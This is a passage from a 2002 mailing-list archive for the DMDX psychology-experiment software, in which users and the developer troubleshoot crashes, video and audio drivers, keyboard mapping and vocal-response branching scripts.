1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list I've updated the docs with an example that should simplify the solution I gave recently needing : http://psy1.psych.arizona.edu/~jforster/dmdx/help/dmdxhsavecounterskeyword.htm /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ People will do tomorrow what they did today because that is what they did yesterday. >From DMDX-owner@psy1.psych.arizona.edu Tue Nov 19 16:26:01 2002 Received: from grilo.ungs.edu.ar (grilo.ungs.edu.ar [170.210.52.3]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id gAJNPXMS016736 for ; Tue, 19 Nov 2002 16:25:36 -0700 Received: from www-data by grilo.ungs.edu.ar with local (Exim 3.12 #1 (Debian)) id 18EHh4-0008Mo-00 for ; Tue, 19 Nov 2002 20:22:10 -0300 To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] PC says good by after runing DMDX Message-ID: <1037748130.3ddac7a2cd15b@ungs.edu.ar> Date: Tue, 19 Nov 2002 20:22:10 -0300 (ART) From: page@ungs.edu.ar MIME-Version: 1.0 Content-Type: text/plain Content-Transfer-Encoding: 8bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hi, Can somebody please help me on this?: I resently downloaded DMDX (I'm new with it) version 2.9.06. It runs fine, but at the end the quit command restarts the PC from scrach. This happends both with my own scripts and those from examples pick from the net. I use Windows 2002 XP ver 5.01.2600 with Pentim III 500 and RAM 256. Thanks Ricardo ------------------------------------------------- This mail sent through IMP: ungs.edu.ar >From DMDX-owner@psy1.psych.arizona.edu Tue Nov 19 18:38:24 2002 Received: from breaker.dakotacom.net (breaker.dakotacom.net [66.192.152.146]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id gAK1beMS016954 for ; Tue, 19 Nov 2002 18:37:40 -0700 Received: from anybodyi.u.arizona.edu (uofa-dsl-63.dakotacom.arizona.edu [150.135.175.63]) by breaker.dakotacom.net (8.12.2/x.y.z) with ESMTP id gAK1X8bb000420 for ; Tue, 19 Nov 2002 18:33:08 -0700 (MST) Message-Id: <5.1.0.14.2.20021119183245.00b12918@psy1.psych.arizona.edu> Date: Tue, 19 Nov 2002 18:33:03 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: PC says good by after runing DMDX In-Reply-To: <1037748130.3ddac7a2cd15b@ungs.edu.ar> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 08:22 PM 11/19/2002 -0300, you wrote: >Hi, >Can somebody please help me on this?: >I resently downloaded DMDX (I'm new with it) version 2.9.06. >It runs fine, but at the end the quit command restarts the PC from scrach. >This happends both with my own scripts and those from examples pick from the >net. >I use Windows 2002 XP ver 5.01.2600 with Pentim III 500 and RAM 256. So use the latest version 3.0.0.11. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Nothing is done until nothing is done. >From DMDX-owner@psy1.psych.arizona.edu Tue Nov 19 19:12:23 2002 Received: from breaker.dakotacom.net (breaker.dakotacom.net [66.192.152.146]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id gAK2CJMS017064 for ; Tue, 19 Nov 2002 19:12:20 -0700 Received: from anybodyi.u.arizona.edu (uofa-dsl-63.dakotacom.arizona.edu [150.135.175.63]) by breaker.dakotacom.net (8.12.2/x.y.z) with ESMTP id gAK27lbb012130 for ; Tue, 19 Nov 2002 19:07:47 -0700 (MST) Message-Id: <5.1.0.14.2.20021119190428.00b12918@psy1.psych.arizona.edu> Date: Tue, 19 Nov 2002 19:07:42 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: PC says good by after runing DMDX In-Reply-To: <5.1.0.14.2.20021119183245.00b12918@psy1.psych.arizona.edu> References: <1037748130.3ddac7a2cd15b@ungs.edu.ar> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 06:33 PM 11/19/2002 -0700, you wrote: >At 08:22 PM 11/19/2002 -0300, you wrote: >>Hi, >>Can somebody please help me on this?: >>I resently downloaded DMDX (I'm new with it) version 2.9.06. >>It runs fine, but at the end the quit command restarts the PC from scrach. >>This happends both with my own scripts and those from examples pick from the >>net. >>I use Windows 2002 XP ver 5.01.2600 with Pentim III 500 and RAM 256. > > So use the latest version 3.0.0.11. Actually that's not likely to fix what you're experiencing, more than likely you have shoddy video card drivers (I'll bet you have an ATI video card in fact) and need to find some new ones. Do a search of the archives for ""drivers"", tons of things could be the cause of your problems: http://psy1.psych.arizona.edu/cgi-bin/thread?search=drivers /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Nothing is done until nothing is done. >From DMDX-owner@psy1.psych.arizona.edu Wed Nov 20 06:14:13 2002 Received: from grilo.ungs.edu.ar (grilo.ungs.edu.ar [170.210.52.3]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id gAKD1eMS017754 for ; Wed, 20 Nov 2002 06:01:42 -0700 Received: from www-data by grilo.ungs.edu.ar with local (Exim 3.12 #1 (Debian)) id 18EUQl-000524-00 for ; Wed, 20 Nov 2002 09:58:11 -0300 To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Re: PC says good by after runing DMDX Message-ID: <1037797091.3ddb86e304e51@ungs.edu.ar> Date: Wed, 20 Nov 2002 09:58:11 -0300 (ART) From: page@ungs.edu.ar References: <1037748130.3ddac7a2cd15b@ungs.edu.ar> <5.1.0.14.2.20021119190428.00b12918@psy1.psych.arizona.edu> In-Reply-To: <5.1.0.14.2.20021119190428.00b12918@psy1.psych.arizona.edu> MIME-Version: 1.0 Content-Type: text/plain Content-Transfer-Encoding: 8bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Thanks for your fast answer. I cheked the graphic card, it is NVIDIA TNT2/AGP/SSE ver 1.3.1 Could this be causing the crash? I also have DirectX 7 Ricardo Mensaje citado por: ""j.c.f."" : > At 06:33 PM 11/19/2002 -0700, you wrote: > >At 08:22 PM 11/19/2002 -0300, you wrote: > >>Hi, > >>Can somebody please help me on this?: > >>I resently downloaded DMDX (I'm new with it) version 2.9.06. > >>It runs fine, but at the end the quit command restarts the PC from > scrach. > >>This happends both with my own scripts and those from examples pick > from the > >>net. > >>I use Windows 2002 XP ver 5.01.2600 with Pentim III 500 and RAM 256. > > > > So use the latest version 3.0.0.11. > > Actually that's not likely to fix what you're experiencing, more than > > likely you have shoddy video card drivers (I'll bet you have an ATI > video > card in fact) and need to find some new ones. Do a search of the > archives > for ""drivers"", tons of things could be the cause of your problems: > > http://psy1.psych.arizona.edu/cgi-bin/thread?search=drivers > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > Nothing is done until nothing is done. > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== > ------------------------------------------------- This mail sent through IMP: ungs.edu.ar >From DMDX-owner@psy1.psych.arizona.edu Wed Nov 20 06:37:34 2002 Received: from sirius.mrc-cbu.cam.ac.uk (sirius.mrc-cbu.cam.ac.uk [193.63.252.1]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id gAKDSUMS017839 for ; Wed, 20 Nov 2002 06:28:30 -0700 Received: from [193.63.253.89] (helo=pc057.mrc-cbu.cam.ac.uk) by sirius.mrc-cbu.cam.ac.uk with esmtp (Exim 3.36 #2) id 18EUpb-0000BZ-00 for DMDX@psy1.psych.arizona.edu; Wed, 20 Nov 2002 13:23:51 +0000 Message-Id: <5.1.0.14.2.20021120131108.03412c50@pophost.mrc-cbu.cam.ac.uk> Date: Wed, 20 Nov 2002 13:12:14 +0000 To: DMDX@psy1.psych.arizona.edu From: Mike Ford Subject: [DMDX] Re: PC says good by after runing DMDX In-Reply-To: <1037797091.3ddb86e304e51@ungs.edu.ar> References: <5.1.0.14.2.20021119190428.00b12918@psy1.psych.arizona.edu> <1037748130.3ddac7a2cd15b@ungs.edu.ar> <5.1.0.14.2.20021119190428.00b12918@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 09:58 20/11/2002 -0300, you wrote: >Thanks for your fast answer. >I cheked the graphic card, it is >NVIDIA TNT2/AGP/SSE ver 1.3.1 >Could this be causing the crash? >I also have DirectX 7 >Ricardo Update to the most recent DirectX. You may need to update your driver too - www.nvidia.com. - Mike oxoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxoxo *** Note New Extension - 311 *** Mike Ford MRC Cognition & Brain Sciences Unit 15 Chaucer Rd, Cambridge, CB1 2NQ, UK. Tel: +44 (0)1223 355294 ext 311 Fax: +44 (0)1223 359062 http://www.mrc-cbu.cam.ac.uk/personal/mike.ford oxoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxoxo >From DMDX-owner@psy1.psych.arizona.edu Wed Nov 20 06:37:37 2002 Received: from sirius.mrc-cbu.cam.ac.uk (sirius.mrc-cbu.cam.ac.uk [193.63.252.1]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id gAKDSUMS017840 for ; Wed, 20 Nov 2002 06:28:30 -0700 Received: from [193.63.253.89] (helo=pc057.mrc-cbu.cam.ac.uk) by sirius.mrc-cbu.cam.ac.uk with esmtp (Exim 3.36 #2) id 18EUpb-0000BZ-01 for DMDX@psy1.psych.arizona.edu; Wed, 20 Nov 2002 13:23:51 +0000 Message-Id: <5.1.0.14.2.20021120132346.033dcf60@pophost.mrc-cbu.cam.ac.uk> Date: Wed, 20 Nov 2002 13:23:48 +0000 To: DMDX@psy1.psych.arizona.edu From: Mike Ford Subject: [DMDX] Re: PC says good by after runing DMDX Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 09:58 20/11/2002 -0300, you wrote: >Thanks for your fast answer. >I cheked the graphic card, it is >NVIDIA TNT2/AGP/SSE ver 1.3.1 >Could this be causing the crash? >I also have DirectX 7 >Ricardo Update to the most recent DirectX. You may need to update your driver too - www.nvidia.com. - Mike oxoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxoxo *** Note New Extension - 311 *** Mike Ford MRC Cognition & Brain Sciences Unit 15 Chaucer Rd, Cambridge, CB1 2NQ, UK. Tel: +44 (0)1223 355294 ext 311 Fax: +44 (0)1223 359062 http://www.mrc-cbu.cam.ac.uk/personal/mike.ford oxoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxoxo >From DMDX-owner@psy1.psych.arizona.edu Wed Nov 20 11:15:39 2002 Received: from deimos.email.Arizona.EDU (deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id gAKIEqMS018272 for ; Wed, 20 Nov 2002 11:14:53 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by deimos.email.Arizona.EDU (6.0.053) id 3DDB85660000CACC for DMDX@psy1.psych.arizona.edu; Wed, 20 Nov 2002 11:10:19 -0700 Message-Id: <5.1.0.14.2.20021120110442.00b132f8@psy1.psych.arizona.edu> Date: Wed, 20 Nov 2002 11:10:19 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: PC says good by after runing DMDX In-Reply-To: <1037797091.3ddb86e304e51@ungs.edu.ar> References: <5.1.0.14.2.20021119190428.00b12918@psy1.psych.arizona.edu> <1037748130.3ddac7a2cd15b@ungs.edu.ar> <5.1.0.14.2.20021119190428.00b12918@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 09:58 AM 11/20/2002 -0300, you wrote: >Thanks for your fast answer. >I cheked the graphic card, it is >NVIDIA TNT2/AGP/SSE ver 1.3.1 >Could this be causing the crash? Yep. You can either update DMDX and use the shortcut for GeForce video cards or muck with shortcut to DMDX and add ""-buffers 4"" to the command line. The 3.0.8.7 drivers from Windows Update look like pretty good drivers but you'll still need the special shortcut. I'm told this will be fixed when DX9 gets released but I'm not holding my breath as NVIDIA have been resistant to say the least towards fixing this particular problem as DMDX is the only program in the world that uses the broken features. >I also have DirectX 7 Not under windows XP you don't, that's DirectX 8 at the minimum. If you really do have DX7 maybe there's something broken with your windows install. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ People will do tomorrow what they did today because that is what they did yesterday. >From DMDX-owner@psy1.psych.arizona.edu Wed Nov 20 11:22:51 2002 Received: from smtp.gu.se (smtp.gu.se [130.241.150.66]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id gAKIMbMS018321 for ; Wed, 20 Nov 2002 11:22:45 -0700 Received: from dss2.med.gu.se (dss2.med.gu.se [130.241.85.25]) by smtp.gu.se (8.12.5/8.12.5) with SMTP id gAKII3XO004229 for ; Wed, 20 Nov 2002 19:18:03 +0100 Received: from GWDOMNEU-Message_Server by dss2.med.gu.se with Novell_GroupWise; Wed, 20 Nov 2002 19:18:04 +0100 Message-Id: Date: Wed, 20 Nov 2002 19:17:39 +0100 From: ""Derek Eder"" To: Subject: [DMDX] DMDX doesn't say hello or good bye while running! Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list DMDX 3.0.05 running under Swedish Windows 98 and with a Swedish keyboard will not respond to input when using 'line 0' item files. e.g., 0 ""press key to continue"" ; DMDX just sits there and will not respond to any keypress. Strange because the same script runs fine in other machines (English Win 98 and Swedish keyboard). The only difference is that in the Swedish language OS, I have to rename the input device from 'keyboard' to: or DMDX won't run. I just have to upgrade DMDX and leave out the parameter, right? Thanks, Derek Derek N. Eder G�teborgs Universitet Institutionen f�r klinisk neurovetenskap Klinisk Neurofysiologi Sahlgrenska universitetssjukhuset SS/SU Bl� str�ket 7, v�n 3 SE 413 45 G�teborg Sverige Tlf. +46 (031) 34 244 14 (office) NYTT! Tlf. +46 (031) 34 212 83 (laboratory) Tlf. +46 0709 / 7 212 83 (mobil) Fax. +46 (031) 82 81 63 derek.eder@neuro.gu.se Gothenburg University Institute of Clinical Neuroscience, Department of Clinical Neurophysiology Salhgrenska Hospital SU/SS SE 413 45 G�teborg Sweden >From DMDX-owner@psy1.psych.arizona.edu Wed Nov 20 13:48:58 2002 Received: from deimos.email.Arizona.EDU (deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id gAKKmUMS018573 for ; Wed, 20 Nov 2002 13:48:30 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by deimos.email.Arizona.EDU (6.0.053) id 3DDB856600014890 for DMDX@psy1.psych.arizona.edu; Wed, 20 Nov 2002 13:43:56 -0700 Message-Id: <5.1.0.14.2.20021120131654.00b132e8@psy1.psych.arizona.edu> Date: Wed, 20 Nov 2002 13:43:56 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: DMDX doesn't say hello or good bye while running! In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 07:17 PM 11/20/2002 +0100, you wrote: >DMDX 3.0.05 running under Swedish Windows 98 and with a Swedish keyboard >will not respond to input when using 'line 0' item files. e.g., > >0 ""press key to continue"" ; > >DMDX just sits there and will not respond to any keypress. Escape should abort it though. > Strange because the same script runs fine in other machines (English > Win 98 and Swedish keyboard). The only difference is that in the Swedish > language OS, I have to rename the input device from 'keyboard' to: tangentbord> or DMDX won't run. > >I just have to upgrade DMDX and leave out the parameter, right? Yes, I usually just stick a ! at the start of the keyword ( for instance) to make it into a comment. And any mapping keywords like . If you want to change mappings and make an item file that is language independent you'll have to use and map keys with things like , TimeDX will tell you the numbers. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ People will do tomorrow what they did today because that is what they did yesterday. >From DMDX-owner@psy1.psych.arizona.edu Fri Nov 22 03:13:55 2002 Received: from smtp.infonex.com (smtp.infonex.com [168.143.114.4]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id gAMA2rMS020937 for ; Fri, 22 Nov 2002 03:02:54 -0700 Received: from [212.19.142.126] (cyberpass.net [168.143.113.101]) by smtp.infonex.com (Postfix) with ESMTP id DD5A09A7DF for ; Fri, 22 Nov 2002 01:57:31 -0800 (PST) Mime-Version: 1.0 Message-Id: In-Reply-To: <5.1.0.14.2.20020830084258.00b12848@psy1.psych.arizona.edu> References: <5.1.0.14.2.20020610182607.00b12c08@psy1.psych.arizona.edu> <000b01c21194$55f72f10$ae7ba8c0@richie> <5.1.0.14.2.20020830084258.00b12848@psy1.psych.arizona.edu> Date: Fri, 22 Nov 2002 15:54:35 +0600 To: DMDX@psy1.psych.arizona.edu From: Greg Thomson Subject: [DMDX] C-Media CMI8738/C3DX PCI Audio Device? Content-Type: text/plain; charset=""us-ascii"" ; format=""flowed"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Forgive my ignorance. Does anyone successfully use DMDX with sound input (through the microphone jack) with a C-Media CMI8738/C3DX PCI Audio Device? Greg -- ****PLEASE NOTE: our email address is now greg_thomson@telus.net. Please discontinue using gthomson@mac.com, as it has expired.**** >From DMDX-owner@psy1.psych.arizona.edu Fri Nov 22 12:52:37 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id gAMJeeMS021729 for ; Fri, 22 Nov 2002 12:40:40 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by phobos.email.Arizona.EDU (6.0.053) id 3DDE5BAA0000A8DA for DMDX@psy1.psych.arizona.edu; Fri, 22 Nov 2002 12:36:01 -0700 Message-Id: <5.1.0.14.2.20021122123456.00b132d0@psy1.psych.arizona.edu> Date: Fri, 22 Nov 2002 12:35:59 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: C-Media CMI8738/C3DX PCI Audio Device? In-Reply-To: References: <5.1.0.14.2.20020830084258.00b12848@psy1.psych.arizona.edu> <5.1.0.14.2.20020610182607.00b12c08@psy1.psych.arizona.edu> <000b01c21194$55f72f10$ae7ba8c0@richie> <5.1.0.14.2.20020830084258.00b12848@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 03:54 PM 11/22/2002 +0600, you wrote: >Forgive my ignorance. Does anyone successfully use DMDX with sound input >(through the microphone jack) with a C-Media CMI8738/C3DX PCI Audio Device? >Greg Yeah, that's one the few good ones. Hit windows update and use the latest drivers there if it's not working. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ People will do tomorrow what they did today because that is what they did yesterday. >From DMDX-owner@psy1.psych.arizona.edu Fri Nov 22 12:52:42 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id gAMJabMS021695 for ; Fri, 22 Nov 2002 12:36:37 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by phobos.email.Arizona.EDU (6.0.053) id 3DDE5BAA0000A5A9; Fri, 22 Nov 2002 12:31:57 -0700 Message-Id: <5.1.0.14.2.20021122122708.00b132d0@psy1.psych.arizona.edu> Date: Fri, 22 Nov 2002 12:31:56 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] DMDX 3.0.0.12 Cc: chk@u.arizona.edu Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Ok, after days of debuggering I finally located what was blowing up DigitalVOX definitions after RecordVocal ones. So 3.0.0.12 has that issue resolved along with legacy RecordVocal now records for something close to the timeout, RecordVocal still only records for approximate durations and damned if I can get it to do otherwise so I suspect we live with it -- I've busted things several times trying to rectify this and I don't think the issue is worth it personally. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ People will do tomorrow what they did today because that is what they did yesterday. >From DMDX-owner@psy1.psych.arizona.edu Sat Nov 23 14:07:24 2002 Received: from wjh2.wjh.harvard.edu (IDENT:root@wjh2.wjh.harvard.edu [140.247.94.249]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id gANKv6MS023290 for ; Sat, 23 Nov 2002 13:57:07 -0700 Received: from TARAMA (roam94-63.wjh.harvard.edu [140.247.94.63]) by wjh2.wjh.harvard.edu (8.11.6/8.11.4) with SMTP id gANKqNV07922 for ; Sat, 23 Nov 2002 15:52:23 -0500 (EST) Message-ID: <05b401c29331$99a05f60$3f5ef78c@TARAMA> From: ""Sid Kouider"" To: Subject: [DMDX] Branching with Recordvocal Date: Sat, 23 Nov 2002 15:47:55 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hi, I would appreciate any help on the following problem I encountered. I am preparing an experiment in which participants (kids) hear a word and have to repeat it. Each response is saved in a file using Recordvocal. This part is working perfectly. However, I am having difficulties with the two following things: First, I would like to save one of two keys corresponding to whether the response was incorrect or not. I could not figure out a way of saving BOTH this information and the vocal responses. Second, I would like to repeat the same item several times subsequently untill the participant produce a vocal response. For instance, the subjects hear a word, and can hear it again and again untill he feels confident and produce a response. I used Branching N in which N refers to the same item. But I have a branching error message telling me that the item is not found. I've pasted behind a sample of the script I am using. Thanks for your help, -Sid < MapRequest +Space> < MapPositiveResponse +1> < MapNegativeResponse +0> $ 0 ""Press SPACEBAR to start""; 250 /; $ +1 ""pies""/ * ; +2 ""shoes""/ * ; +3 ""trees""/ * ; >From DMDX-owner@psy1.psych.arizona.edu Sat Nov 23 17:08:55 2002 Received: from breaker.dakotacom.net (breaker.dakotacom.net [66.192.152.146]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id gANNubMS023489 for ; Sat, 23 Nov 2002 16:56:37 -0700 Received: from anybodyi.u.arizona.edu (uofa-dsl-63.dakotacom.arizona.edu [150.135.175.63]) by breaker.dakotacom.net (8.12.2/x.y.z) with ESMTP id gANNpsSY015419 for ; Sat, 23 Nov 2002 16:51:54 -0700 (MST) Message-Id: <5.1.0.14.2.20021123164806.00b12918@psy1.psych.arizona.edu> Date: Sat, 23 Nov 2002 16:51:49 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: Branching with Recordvocal In-Reply-To: <05b401c29331$99a05f60$3f5ef78c@TARAMA> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 03:47 PM 11/23/2002 -0500, you wrote: >Hi, >I would appreciate any help on the following problem I encountered. > >I am preparing an experiment in which participants (kids) hear a word and >have to repeat it. Each response is saved in a file using Recordvocal. This >part is working perfectly. However, I am having difficulties with the two >following things: > >First, I would like to save one of two keys corresponding to whether the >response was incorrect or not. I could not figure out a way of saving BOTH >this information and the vocal responses. It's called Zillion response mode, I'll be writing an overview of DMDX input modes in the near future, till then follow the links from this page: http://psy1.psych.arizona.edu/~jforster/dmdx/help/dmdxhzillionresponseskeyword.htm >Second, I would like to repeat the same item several times subsequently >untill the participant produce a vocal response. For instance, the subjects >hear a word, and can hear it again and again untill he feels confident and >produce a response. I used Branching N in which N refers to the same item. >But I have a branching error message telling me that the item is not found. >I've pasted behind a sample of the script I am using. You need to use negative numbers, a branch to a positive item goes forwards, negative goes backwards. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Nothing is done until nothing is done. >From DMDX-owner@psy1.psych.arizona.edu Sun Nov 24 07:12:31 2002 Received: from breaker.dakotacom.net (breaker.dakotacom.net [66.192.152.146]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id gAODwaMS024159 for ; Sun, 24 Nov 2002 06:58:36 -0700 Received: from anybodyi.u.arizona.edu (uofa-dsl-63.dakotacom.arizona.edu [150.135.175.63]) by breaker.dakotacom.net (8.12.2/x.y.z) with ESMTP id gAODrmSY019088 for ; Sun, 24 Nov 2002 06:53:49 -0700 (MST) Message-Id: <5.1.0.14.2.20021124064742.00b128d8@psy1.psych.arizona.edu> Date: Sun, 24 Nov 2002 06:53:45 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: Branching with Recordvocal In-Reply-To: <5.1.0.14.2.20021123164806.00b12918@psy1.psych.arizona.edu> References: <05b401c29331$99a05f60$3f5ef78c@TARAMA> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Thinking some more on this I suspect you don't in fact want to use responses but instead want item pairs (note the new G2 parameter) and lots of mapping and unmapping of responses. For example: G2 < MapRequest +Space> < MapPositiveResponse +1> < MapNegativeResponse +0> $ 0 ""Press SPACEBAR to start""; 250 /; $ +1 ""pies""/ * ; +10 * ; +2 ""shoes""/ * ; +20 * ; At 04:51 PM 11/23/2002 -0700, you wrote: >At 03:47 PM 11/23/2002 -0500, you wrote: >>Hi, >>I would appreciate any help on the following problem I encountered. >> >>I am preparing an experiment in which participants (kids) hear a word and >>have to repeat it. Each response is saved in a file using Recordvocal. This >>part is working perfectly. However, I am having difficulties with the two >>following things: >> >>First, I would like to save one of two keys corresponding to whether the >>response was incorrect or not. I could not figure out a way of saving BOTH >>this information and the vocal responses. > > It's called Zillion response mode, I'll be writing an overview of DMDX > input modes in the near future, till then follow the links from this page: > >http://psy1.psych.arizona.edu/~jforster/dmdx/help/dmdxhzillionresponseskeyword.htm > > >>Second, I would like to repeat the same item several times subsequently >>untill the participant produce a vocal response. For instance, the subjects >>hear a word, and can hear it again and again untill he feels confident and >>produce a response. I used Branching N in which N refers to the same item. >>But I have a branching error message telling me that the item is not found. >>I've pasted behind a sample of the script I am using. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Nothing is done until nothing is done. >From DMDX-owner@psy1.psych.arizona.edu Tue Nov 26 04:33:15 2002 Received: from smtp.infonex.com (smtp.infonex.com [168.143.114.4]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id gAQBW8MS026691 for ; Tue, 26 Nov 2002 04:32:08 -0700 Received: from [212.19.142.115] (cyberpass.net [168.143.113.101]) by smtp.infonex.com (Postfix) with ESMTP id 4AAE99A8EE for ; Tue, 26 Nov 2002 03:27:09 -0800 (PST) Mime-Version: 1.0 Message-Id: In-Reply-To: <00be01c25009$8ed8dd20$3c28e5a5@yu.ac.kr> References: <5.1.0.14.2.20020610182607.00b12c08@psy1.psych.arizona.edu> <000b01c21194$55f72f10$ae7ba8c0@richie> <00be01c25009$8ed8dd20$3c28e5a5@yu.ac.kr> Date: Tue, 26 Nov 2002 16:03:15 +0600 To: DMDX@psy1.psych.arizona.edu From: Greg Thomson Subject: [DMDX] Error with Sound Test (was Errors with digitalVox) Content-Type: text/plain; charset=""us-ascii"" ; format=""flowed"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list I am getting the exact same error message that Kwangoh describes below when I attempt the Sound Test in TimeDX. I have now downloaded and installed the latest driver for my C-Media CMI8738/C3DX PCI Audio Device. I also upgraded to DMDX 3.0.0.12, just for the heck of it. Then I once again turned off all of the other running tasks. (The exception was Explorer. When I would try to turn it off, it would threaten to shut down the computer.) The error message continues when I attempt to do the Sound Test. Are Kwangoh and I unique. (My goal for now is a simple naming experiment.) Greg At 6:42 PM +0900 8/30/02, Kwangoh Yi wrote: >Hi, > >I always get the following error message when I try to use DMDX Test >Vox and TimeDX Sound Test for speech input. > > CreateCaptureBuffer failed > DSERR_ALLOCATED (8878000a) > The call failed because the resources (such as a priority level) >were already being used by another caller > >According to the advice in the 